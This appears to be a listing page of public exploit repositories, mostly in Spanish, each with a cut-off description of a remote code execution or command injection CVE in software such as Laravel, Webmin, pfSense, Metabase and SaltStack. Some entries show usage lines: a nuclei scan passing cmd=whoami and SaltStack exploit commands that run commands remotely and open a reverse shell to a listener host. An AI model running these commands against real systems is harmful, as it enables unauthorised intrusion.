CVE-2021-3129

Ejecución Remota de Código: Laravel CVE-2021-3129 📜 Descripción Este script está diseñado para explotar la vulnerabilidad de Ejecución Remota de Código RCE identificada en varias versiones de Laravel, conocida como CVE-2021-3129. Aprovechando esta vulnerabilidad, el script permite a los usuarios...

CVE-2019-15107

CVE-2019-15107 Exploit en Python El exploit para CVE-2019-15107 webmin Agradecimientos Basado en el módulo de Metasploit https://www.exploit-db.com/exploits/47230 Aviso original: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html...

cve-2019-16278

CVE-2019-16278 Este es un exploit para la vulnerabilidad CVE-2019-16278. Permite la ejecución remota de código en un servidor nhttpd v1.9.6. Compilación desde el código fuente Esta herramienta está escrita en Rust y necesitas instalar el compilador de Rust, lo cual es muy fácil si sigues las...

CVE-2004-2687

CVE-2004-2687 Ejecución de comandos en el demonio DistCC...

CVE-2024-7120-Exploit-by-Dark-07x

Raisecom Devices Inyección de Comandos CVE-2024-7120 Prueba de concepto! Resumen Se ha identificado una vulnerabilidad de inyección de comandos en los dispositivos Gateway RAISECOM, afectando a los modelos MSG1200, MSG2100E, MSG2200 y MSG2300. Esta vulnerabilidad permite a atacantes remotos...

CVE-2025-0690

CVE-2025-0690: Vulnerabilidad de Desbordamiento de Enteros en GRUB2 🛡️ Descripción General CVE-2025-0690 es una vulnerabilidad crítica de desbordamiento de enteros en el cargador de arranque GRUB2 , que permite la ejecución de código arbitrario y la evasión de Secure Boot. Esta falla afecta a...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 Declaración de seguridad Este proyecto es únicamente para fines de investigación y educación en seguridad. El uso de esta herramienta para realizar pruebas no autorizadas es ilegal. El autor no se hace responsable de ningún mal uso o daño. 📋 Resumen CVE-2024-31317 es una...

CVE-2020-11651

CVE-2020-11651 PoC para CVE-2020-11651 Requiere Python3 probado en 3.8 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP ...

CVE-2024-37770

CVE-2024-37770 descripción Se descubrió que 14Finger v1.1 contiene una vulnerabilidad de ejecución remota de comandos RCE en la función fingerprint. Esta vulnerabilidad permite a los atacantes ejecutar comandos arbitrarios a través de un payload manipulado. Vector de ataque Atacantes no...

CVE-2023-38646

CVE-2023-38646 Metabase Pre-Auth RCE Metabase open source anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, al nivel de privilegio del servidor. No se requiere autenticación para la explotación. Las otras versiones...

CVE-2023-39362-cacti-snmp-command-injection-poc

Vulnerabilidad de inyección de comandos en Cacti CVE-2023-39362 - PoC Este repositorio es un fork de este repositorio: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application Cacti es un framework de monitoreo operativo y gestión de fallos de código abierto, en constante evolució...

CVE-2023-30854

WWBN Avideo RCE Autenticado - Inyección de Comandos del SO CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; Podemos controlar $objClone-cloneSiteURL a trav...

CVE-2022-40127-Airflow-RCE

Apache Airflow Una vulnerabilidad en los DAGs de ejemplo de Apache Airflow permite que un atacante con acceso a la interfaz de usuario que pueda activar DAGs, ejecute comandos arbitrarios a través del parámetro runid proporcionado manualmente. Este problema afecta a Apache Airflow versiones...

CVE-2023-32073

WWBN AVideo currentVersion RCE autenticado Existe una vulnerabilidad de inyección de comandos en plugin/CloneSite/cloneClient.json.php que permite la ejecución remota de código si tienes el plugin CloneSite. Esto es una evasión de la corrección para CVE-2023-30854 que afecta a WWBN Avideo hasta l...

CVE-2014-4688-pfsense

CVE-2014-4688 – Inyección de Comandos en pfSense Prueba de concepto modificada de Exploit-DB para CVE-2014-4688 inyección de comandos en pfSense statusrrdgraphimg.php Resumen Este repositorio contiene una versión modificada de la prueba de concepto original de Exploit-DB para CVE-2014-4688 , que...

CVE-2025-24813-apache-tomcat

CVE-2025-24813 Nuclei Template CVE-2025–24813 root@kitploit: nuclei -l list.txt -t CVE-2025–24813.yaml execute shell root@kitploit: http://target.com/updates.jsp?cmd=whoami...

DrupalCVE-2018-7602

Drupal Remote Code Execution Vulnerability CVE-2018-7602 Affected software: drupal Method: Encode the in the URL twice to bypass the sanitize function filtering Effect: Arbitrary command execution Vulnerability Environment Execute the following command to start the drupal 7.57 environment:...

CVE-2023-42326

pfSense 2.7.0 Exploit de Inyección de Comandos CVE-2023-42326 Este script de Python es una Prueba de Concepto PoC para la vulnerabilidad de inyección de comandos CVE-2023-42326 en pfSense 2.7.0. La vulnerabilidad permite a atacantes autenticados inyectar y ejecutar comandos arbitrarios a través d...

CVE-2022-22947

CVE-2022-22947 Run: CVE-2022-22947.exe ip command Affected versions: Spring Cloud Gateway 3.1.1 Spring Cloud Gateway 3.0.7 Spring Cloud Gateway other no longer updated versions...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...